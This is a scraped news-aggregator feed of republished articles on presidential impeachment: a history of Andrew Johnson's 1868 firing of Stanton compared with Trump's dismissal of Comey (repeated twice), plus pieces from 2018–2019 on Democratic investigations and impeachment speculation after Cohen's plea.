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]]> https://briefnews.eu/snl-trump-calls-on-ray-donovan-to-fix-his-impeachment-problem-in-season-premiere-cold-open/feed/ 0 The Sudden Firing That Sparked the Impeachment of a President https://briefnews.eu/the-sudden-firing-that-sparked-the-impeachment-of-a-president-2/ https://briefnews.eu/the-sudden-firing-that-sparked-the-impeachment-of-a-president-2/#respond Mon, 07 Jan 2019 12:44:34 +0000 http://briefnews.eu/the-sudden-firing-that-sparked-the-impeachment-of-a-president-2/ For months, the president had been pondering how to do it. One of the most powerful government officials in Washington, a holdover appointed by his predecessor, was driving him crazy, impeding his agenda at every turn with his recalcitrant independence. And so, finally, the president, without consulting anyone beyond a close circle of aides, decided to pull the trigger. With a stroke of a pen — one that struck the nation “like a thunderbolt,” according to The New York Times — he notified the prominent federal official by letter that his services were no longer needed, instantly transforming one of the most disliked men in Washington into a sympathetic figure, even a martyr.

The president in question wasn’t Donald Trump, whose precipitous firing of FBI Director James Comey has shaken Washington once again, or even Richard Nixon. It was the first American president to be impeached: Andrew Johnson. When he summarily dismissed his secretary of war, the abrasive Edwin Stanton, in February 1868, Johnson sparked a constitutional storm that would engulf his turbulent presidency. Three days later, he was impeached by the House of Representatives; three weeks later he was on trial for his presidency before the Senate.

The impeachment trap had been set, and Johnson just couldn’t stop himself from stepping in it.

Seeking to balance the ticket in his bid for re-election, president Abraham Lincoln and his Republican Party chose Johnson, a senator from Tennessee and a pro-war Southern Democrat, as his running mate in 1864. When Lincoln was assassinated just weeks into his second term, Johnson, who had kicked off his vice presidency by getting publicly intoxicated on Inauguration Day, assumed office. Like Donald Trump, Johnson was a brash businessman-turned-politician, a Democratic turncoat and admirer of former president Andrew Jackson, and Johnson’s stubborn, erratic nature continually confounded Republicans in Congress, who had hoped he would help them politically. And while he didn’t lambast any “so-called judges,” Johnson was not above insulting his political opponents, including other branches of government, once rebuking the House and Senate as “a body called or which assumes to be the Congress of the United States.”

Andrew Johnson

Given Johnson’s many political missteps and his torpedoing of the Republican agenda on critical post-war efforts, including the integration of former slaves and the reconstruction of the South, talk of impeaching the president began early. But, as David O. Stewart chronicles in Impeached, the attempts by his Republican opponents in Congress, including firebrand Thaddeus Stevens, gained little traction. “No matter how many ill-advised quarrels the president picked, no matter how many apparent blunders he committed,” Stewart writes, “Stevens could not find the formula for a successful impeachment.”

So in 1867, Stevens and his colleagues enacted a law (over Johnson’s veto) known as the Tenure of Office Act, which prohibited the president from firing Senate-confirmed officials without the Senate’s approval. A violation of the act would constitute a “high crime and misdemeanor.” The impeachment trap had been set, and Johnson just couldn’t stop himself from stepping in it. Believing the act to be unconstitutional (and indeed the Supreme Court later declared it was), Johnson chose to fight. On February 21, 1868, he dismissed Stanton, who had repeatedly locked horns with the president, replacing him with an underwhelming, but obedient, adjutant-general.

Johnson’s bold act had immediate repercussions. Stanton refused to leave his office (literally locking the door) and for a period, a confused nation had two war secretaries. Stevens knew the time for impeachment had come, and a few days later, House Republicans approved 11 articles of impeachment. Johnson’s subsequent trial in the Senate lasted for almost three months, but he would ultimately escape conviction by a single vote after some Republicans, impressed by the president’s penitence, including his appointment of the more qualified Gen. John Schofield as war secretary, voted against removal.

Johnson’s impeachment in 1868 is the closest the U.S. has ever come to forcing out a president, and given the circumstances and forces aligned against Johnson, it should give us pause as to whether any U.S. president will ever be forced to go. Not only did the mercurial Johnson lack the legitimacy of an elected president, but as Michael Les Benedict, author of The Impeachment and Trial of Andrew Johnson, points out, the opposing party held two-thirds majorities in both houses of Congress, pro-Johnson Southern whites were not even represented in that body, and public opinion in the North supported his removal. “One lesson to learn from the Johnson impeachment is how hard it actually is to impeach and convict,” Benedict tells OZY. “If any impeachment should have succeeded, that one should have.”

Unlike Johnson, the duly elected Trump still has support from a large minority of the country and his party controls both houses of Congress. And like Johnson, Trump still has time to convince his critics that he will respect constitutional boundaries, including by appointing a well-respected FBI director. Still, even if he was not removed from office, Johnson’s fate should remain a cautionary tale for all American presidents. Even if Congress is kind, history may not be.

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]]> https://briefnews.eu/the-sudden-firing-that-sparked-the-impeachment-of-a-president-2/feed/ 0 The Sudden Firing That Sparked the Impeachment of a President https://briefnews.eu/the-sudden-firing-that-sparked-the-impeachment-of-a-president-2/ https://briefnews.eu/the-sudden-firing-that-sparked-the-impeachment-of-a-president-2/#respond Mon, 07 Jan 2019 12:44:34 +0000 http://briefnews.eu/the-sudden-firing-that-sparked-the-impeachment-of-a-president-2/ For months, the president had been pondering how to do it. One of the most powerful government officials in Washington, a holdover appointed by his predecessor, was driving him crazy, impeding his agenda at every turn with his recalcitrant independence. And so, finally, the president, without consulting anyone beyond a close circle of aides, decided to pull the trigger. With a stroke of a pen — one that struck the nation “like a thunderbolt,” according to The New York Times — he notified the prominent federal official by letter that his services were no longer needed, instantly transforming one of the most disliked men in Washington into a sympathetic figure, even a martyr.

The president in question wasn’t Donald Trump, whose precipitous firing of FBI Director James Comey has shaken Washington once again, or even Richard Nixon. It was the first American president to be impeached: Andrew Johnson. When he summarily dismissed his secretary of war, the abrasive Edwin Stanton, in February 1868, Johnson sparked a constitutional storm that would engulf his turbulent presidency. Three days later, he was impeached by the House of Representatives; three weeks later he was on trial for his presidency before the Senate.

The impeachment trap had been set, and Johnson just couldn’t stop himself from stepping in it.

Seeking to balance the ticket in his bid for re-election, president Abraham Lincoln and his Republican Party chose Johnson, a senator from Tennessee and a pro-war Southern Democrat, as his running mate in 1864. When Lincoln was assassinated just weeks into his second term, Johnson, who had kicked off his vice presidency by getting publicly intoxicated on Inauguration Day, assumed office. Like Donald Trump, Johnson was a brash businessman-turned-politician, a Democratic turncoat and admirer of former president Andrew Jackson, and Johnson’s stubborn, erratic nature continually confounded Republicans in Congress, who had hoped he would help them politically. And while he didn’t lambast any “so-called judges,” Johnson was not above insulting his political opponents, including other branches of government, once rebuking the House and Senate as “a body called or which assumes to be the Congress of the United States.”

Andrew Johnson

Given Johnson’s many political missteps and his torpedoing of the Republican agenda on critical post-war efforts, including the integration of former slaves and the reconstruction of the South, talk of impeaching the president began early. But, as David O. Stewart chronicles in Impeached, the attempts by his Republican opponents in Congress, including firebrand Thaddeus Stevens, gained little traction. “No matter how many ill-advised quarrels the president picked, no matter how many apparent blunders he committed,” Stewart writes, “Stevens could not find the formula for a successful impeachment.”

So in 1867, Stevens and his colleagues enacted a law (over Johnson’s veto) known as the Tenure of Office Act, which prohibited the president from firing Senate-confirmed officials without the Senate’s approval. A violation of the act would constitute a “high crime and misdemeanor.” The impeachment trap had been set, and Johnson just couldn’t stop himself from stepping in it. Believing the act to be unconstitutional (and indeed the Supreme Court later declared it was), Johnson chose to fight. On February 21, 1868, he dismissed Stanton, who had repeatedly locked horns with the president, replacing him with an underwhelming, but obedient, adjutant-general.

Johnson’s bold act had immediate repercussions. Stanton refused to leave his office (literally locking the door) and for a period, a confused nation had two war secretaries. Stevens knew the time for impeachment had come, and a few days later, House Republicans approved 11 articles of impeachment. Johnson’s subsequent trial in the Senate lasted for almost three months, but he would ultimately escape conviction by a single vote after some Republicans, impressed by the president’s penitence, including his appointment of the more qualified Gen. John Schofield as war secretary, voted against removal.

Johnson’s impeachment in 1868 is the closest the U.S. has ever come to forcing out a president, and given the circumstances and forces aligned against Johnson, it should give us pause as to whether any U.S. president will ever be forced to go. Not only did the mercurial Johnson lack the legitimacy of an elected president, but as Michael Les Benedict, author of The Impeachment and Trial of Andrew Johnson, points out, the opposing party held two-thirds majorities in both houses of Congress, pro-Johnson Southern whites were not even represented in that body, and public opinion in the North supported his removal. “One lesson to learn from the Johnson impeachment is how hard it actually is to impeach and convict,” Benedict tells OZY. “If any impeachment should have succeeded, that one should have.”

Unlike Johnson, the duly elected Trump still has support from a large minority of the country and his party controls both houses of Congress. And like Johnson, Trump still has time to convince his critics that he will respect constitutional boundaries, including by appointing a well-respected FBI director. Still, even if he was not removed from office, Johnson’s fate should remain a cautionary tale for all American presidents. Even if Congress is kind, history may not be.

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]]> https://briefnews.eu/the-sudden-firing-that-sparked-the-impeachment-of-a-president-2/feed/ 0 Democrats won’t wait for the Mueller report to investigate Trump, but impeachment remains a long shot https://briefnews.eu/democrats-wont-wait-for-the-mueller-report-to-investigate-trump-but-impeachment-remains-a-long-shot/ https://briefnews.eu/democrats-wont-wait-for-the-mueller-report-to-investigate-trump-but-impeachment-remains-a-long-shot/#respond Sat, 05 Jan 2019 03:21:32 +0000 http://briefnews.eu/democrats-wont-wait-for-the-mueller-report-to-investigate-trump-but-impeachment-remains-a-long-shot/ WASHINGTON, DC - DECEMBER 07: U.S. Rep. Jerrold Nadler (D-NY), ranking member of the House Judiciary Committee, speaks to members of the media as he arrives at the Rayburn House Office Building where former Federal Bureau of Investigation Director James Comey testifies to the House Judiciary and Oversight and Government Reform committees on Capitol Hill December 07, 2018 in Washington, DC. With less than a month of control of the committees, House Republicans subpoenaed Comey to testify behind closed doors about investigations into Hillary Clinton’s email server and whether President Trump’s campaign advisers colluded with the Russian government to steer the outcome of the 2016 presidential election. (Photo by Alex Wong/Getty Images)Alex Wong/Getty Images

  • House Judiciary Committee Chairman Jerrold Nadler said they plan to move forward with investigations of President Trump before Robert Mueller releases any report.
  • Nadler also vowed to make the findings of Mueller’s report public.
  • While other Democrats have pushed the need to impeach Trump, Nadler said it is “too early to talk about that intelligently.”

WASHINGTON — Democrats are barreling forward with investigations of President Donald Trump, with no intention of deferring until the conclusion of the special counsel investigation headed by former FBI Director Robert Mueller.

New York Rep. Jerrold Nadler, now serving as the chairman of the House Judiciary Committee, told CNN’s John Berman they intend to pursue investigations immediately.

See the rest of the story at Business Insider

NOW WATCH: Anthony Scaramucci claims Trump isn’t a nationalist: ‘He likes saying that because it irks these intellectual elitists’

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SEE ALSO: Nancy Pelosi elected speaker of the House, ushering in new Democratic majority

]]> https://briefnews.eu/democrats-wont-wait-for-the-mueller-report-to-investigate-trump-but-impeachment-remains-a-long-shot/feed/ 0 Trump impeachment: Is it possible – and how would it play out? https://briefnews.eu/trump-impeachment-is-it-possible-and-how-would-it-play-out/ https://briefnews.eu/trump-impeachment-is-it-possible-and-how-would-it-play-out/#respond Thu, 23 Aug 2018 18:26:02 +0000 http://briefnews.eu/trump-impeachment-is-it-possible-and-how-would-it-play-out/ Michael Cohen’s testimony on Monday, that he broke campaign finance laws at Donald Trump’s direction, has renewed calls for Trump’s impeachment or even his removal – but is that likely, and what would actually happen if it did?

Impeachment?

Without doubt, Cohen’s testimony increases the chances that Trump will face impeachment – but it is not quite as simple as that. Cohen’s testimony is not the only factor which will determine how the coming drama will play out. In essence, much rests on what happens on November 8th – the midterm congressional elections. That day could quite possibly determine Trump’s fate as president.

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President Trump and his former attorney and 'fixer' Michael Cohen © Jonathan Ernst

So, how bad do things look for Trump?

Former US diplomat Jim Jatras told RT that the chances of impeachment currently stand somewhere at “about 65 percent and growing” but said that number could go up or down based on what happens in November. If the Democrats manage to take back control of the House of Representatives, the “odds of impeachment go up to at least 85 percent,” Jatras predicted. If Republicans retain the House, Trump will be in a much safer position.

In contrast, Brussels-based Russian affairs analyst Gilbert Doctorow told RT that the chances of impeachment are effectively zero “until and unless” the November elections give Democrats back control of the House.

Bill Clinton’s impeachment in December 1998 set the precedent and makes it likely that Trump will be called to testify in the civil suit brought by adult film actress Stormy Daniels, US journalist Dave Lindorff said. Lawyers will try to create a “perjury trap” similar to the one Clinton fell into which could lead to impeachment, he added.

Removal from office?

Impeachment is one thing, but there has also been talk of the possibility of Trump being fully removed from office. This is a far more difficult task for Democrats who want to get rid of Trump once and for all. Removal from office would require a two-thirds vote in a Senate trial.

After Clinton was impeached on charges of perjury and obstruction of justice, he won his Senate trial and remained in office. Trump, on the other hand, “starts from a much weaker position,” Lindorff said, because he is “only backed by a minority of Americans according to polls”. His current average approval rating is at 43.5 percent according to Real Clear Politics.

Despite that weaker starting position, however, Democrats would still need “at least 15 Republican Senators to vote for conviction and removal from office, which would be a heavy lift” – and that’s if they had regained control of the Senate. If they failed to do that, it would be an even steeper hill to climb.

Jatras was more categorical about the chances of Trump being removed from office, however, arguing that “if the Democrats take the House, Trump will be impeached and removed, even if the Republicans retain the Senate.”

“Anywhere from a quarter to a half of GOP Senators would jump at the chance to put a knife in Trump’s back and get Mike Pence in the Oval Office and Nikki Haley in as VP, restoring the pre-Trump status quo ante,” Jatras said.

Whether any of this happens may all depend on what other information Special Counsel Robert Mueller has up his sleeve – or what else Cohen might decide to reveal to win a reduction or full removal of his jail sentence. “My guess is [Cohen] is going to sing like a canary to stay out of jail at this point,” he said.

What next?

Let’s imagine things go badly for Trump and he finds himself impeached and removed from office. What happens next? Well, we know one thing, at least. The person to replace Trump would be Vice President Mike Pence. But what kind of president would Pence be – and what kind of domestic strife would he be facing in post-Trump America?

Doctorow said that Pence “would not continue Trump’s aggressive policies of tariffs and sanctions against US allies” – an assumption that seems to be widely shared by analysts. When it comes to Russia sanctions, however, there is some disagreement among experts about what might happen next.

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© Jonathan Bachman

Doctorow suggested that, under Pence, the world could “expect the sanctions against Russia to be relaxed” because they have only been strengthened in recent months in an effort by Congress to “handcuff” Trump into implementing as many anti-Russia measures as possible. The sanctions are “anti-Trump much more than they are anti-Russia,” Doctorow said.

Lindorff said sanctions would probably be continued because it is “good for US arms manufacturers” to have the “Russia threat” pushed as much as possible. Jatras was more pessimistic, however, suggesting that sanctions would not only continue but could “vastly intensify” if Trump was gone – and not only against Russia, but against “other designated adversaries like Iran, North Korea, and Venezuela—not for economic reasons but purely as a form of warfare”.

In fact, Jatras suggested that Pence in office could mean that a “major global conflict” would be almost “unavoidable” given Pence’s more traditional foreign policy views which are more in alignment with the pro-war establishment. It is possible too, he said, that Trump could even do something “reckless” regarding Iran “in a desperate bid to save himself”.

Domestically, there would be huge challenges for Trump’s successor, too. Politically, Pence could find himself in an even weaker position than Trump, given that his strict religious views mean Evangelicals make up his support base – and they are a small group.

Lindorff suggested that Pence would “totally lose the support of some key liberal or middle-of-the-road Republicans in both House and Senate, who would not be able to support his rigid stands on things like abortion, gay rights, etc. that Trump gets a pass on.”

READ MORE: Michael Cohen’s lawyer crowdfunds ‘truth about Trump’, whips up $ 120k+

Domestic strife is also a distinct possibility, given large swathes of the population may not sit back and accept that Trump had been removed from office legitimately. It is certainly possible that such a dramatic end to the Trump presidency could result in political unrest and even violence.

Perhaps the most significant result, however, would be how determined the “Republican-Democrat duopoly” would be to prevent anything similar ever happening again.

The establishment would do everything in its power to “make sure that no future accidents happened, that no ‘unapproved’ populist will ever again break through” – and the US political system will be “every bit as immune to reform as the USSR in the 1980s, except with two nominal parties, not just one,” Jatras said.

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]]> https://briefnews.eu/trump-impeachment-is-it-possible-and-how-would-it-play-out/feed/ 0 Cohen bombshell sparks fresh calls for Trump impeachment – but what happened to Russia collusion? https://briefnews.eu/cohen-bombshell-sparks-fresh-calls-for-trump-impeachment-but-what-happened-to-russia-collusion/ https://briefnews.eu/cohen-bombshell-sparks-fresh-calls-for-trump-impeachment-but-what-happened-to-russia-collusion/#respond Wed, 22 Aug 2018 12:24:26 +0000 http://briefnews.eu/cohen-bombshell-sparks-fresh-calls-for-trump-impeachment-but-what-happened-to-russia-collusion/ Michael Cohen’s testimony that Donald Trump told him to violate campaign finance laws is sparking fresh calls for impeachment, with #Resistors curiously silent on how ‘Russia collusion’ became ‘giving women hush money.’

The conviction of Trump’s former campaign chairman, Paul Manafort, on tax and bank fraud charges, coupled with news that the president’s former attorney Cohen, pleaded guilty to a range of charges on the same day, sent social media and news outlets into a frenzy, with many calling for – or speculating about – Trump’s removal from office.

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FILE PHOTO: Michael Cohen departs federal court in the Manhattan borough of New York City, New York, US, on April 16, 2018. © Shannon Stapleton

But the latest calls for impeachment were not sparked by evidence provided by Manafort or Cohen pointing to Trump’s collusion with Moscow. Instead, Cohen’s testimony that then-candidate Trump ordered him to pay off two women ahead of the 2016 presidential election, in violation of campaign finance laws, is now seen as the smoking (but not very Russian) gun.

The media immediately seized on the revelation, with Politico reporting that Cohen’s accusations have “fuelled impeachment fears” in the White House and could embolden Robert Mueller’s probe – “even if they are unrelated to allegations of collusion with Russia.”

Democratic lawmakers have also spoken out about Tuesday’s court rulings. Congressman David Price said that it would be wrong to rule out the possibility of impeaching the president if the Democrats win a majority in Congress after the midterm elections. “I expect that we will confront [impeachment]. At a minimum, we’re going to confront the need to investigate a great many things.”

Senator Ron Wyden insisted that Cohen’s crimes could be traced back to Donald Trump, and any attempt by the president to pardon his former associates would “constitute high crimes and misdemeanors” – the Constitution’s threshold for impeachment.

Nancy Pelosi, the Democratic leader in the House, tweeted out on Tuesday that the guilty verdicts against Manafort and guilty plea by Cohen “are further evidence of the rampant #CultureOfCorruption & criminality at the heart of Trump’s inner circle.” However, the California congresswoman stopped short of calling for impeachment.

But even if the Democratic leadership have not committed to impeachment proceedings – there’s a worry that promises of impeachment could galvanize Trump’s Republican base and give them a reason to show up at the polls for November’s midterm elections – activists and commentators passed around the #ImpeachTrump hashtag on Twitter.

But somehow, the ‘Russia collusion’ narrative which launched Robert Mueller’s investigation and could end up putting two ex-Trump associates behind bars, has all-but-evaporated amid #Resistance jubilation over Manafort’s conviction and Cohen’s guilty plea.

And as the Washington Post noted in a rather sobering legal analysis about the likelihood of impeachment, Mueller “determined months ago that allegations of campaign finance violations involving payments to women before the presidential election were outside the scope of his mandate to investigate whether the Trump campaign coordinated with Russia’s operation to influence the vote.”

READ MORE: Jury finds former Trump manager Manafort guilty on 8 counts, mistrial declared in 10

And impeachment may be harder than it sounds – even if it turns out that Trump did direct his personal attorney to violate campaign finance laws. #Resistors would likely have to wait until Trump is no longer in office before attempting to throw the book at him, since “under long-standing legal interpretations by the Justice Department, the president cannot be charged with a crime.”

“The department produced legal analyses in 1973 and 2000 concluding that the Constitution does not allow for the criminal indictment of a sitting president,” the Washington Post wrote. “Those opinions have never been tested in court, and doing so would require a prosecutor to buck the department’s guidance and attempt to bring charges anyway.”

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